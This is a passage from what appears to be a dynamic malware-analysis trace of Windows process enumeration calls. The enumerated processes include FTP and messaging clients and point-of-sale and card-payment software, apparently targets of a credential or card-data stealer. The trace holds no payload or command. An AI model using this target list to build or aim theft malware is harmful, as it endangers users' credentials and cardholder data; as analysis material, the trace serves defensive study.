cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0293.016] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0293.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0293.070] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0293.072] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0293.074] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0293.076] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0293.078] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0293.080] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0293.082] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0293.084] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0293.085] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0293.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0293.089] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0293.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0293.094] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0293.095] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0293.105] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0293.108] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0293.110] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0293.173] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0293.176] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0293.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0293.181] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0293.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0293.186] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0293.188] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0293.190] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0293.192] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0293.195] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0293.197] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0293.199] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0293.202] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0293.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0293.256] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0293.258] CloseHandle (hObject=0x344) returned 1 [0293.258] Sleep (dwMilliseconds=0x64) [0293.301] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0293.319] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.321] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0293.323] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0293.326] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0293.328] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0293.330] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0293.399] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0293.402] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0293.404] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0293.406] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.408] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.410] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0293.414] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.416] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.419] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.421] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.423] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.425] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.428] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.430] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0293.432] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0293.473] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0293.475] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.477] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0293.479] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0293.482] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0293.484] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0293.486] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.488] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0293.490] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0293.493] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0293.495] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0293.497] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0293.499] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0293.501] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0293.503] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0293.505] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0293.507] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0293.509] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0293.569] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0293.598] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0293.600] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0293.611] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0293.665] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0293.668] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0293.670] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0293.672] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0293.674] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0293.676] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0293.678] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0293.680] Process32Next (in: hSnapshot=0x344, 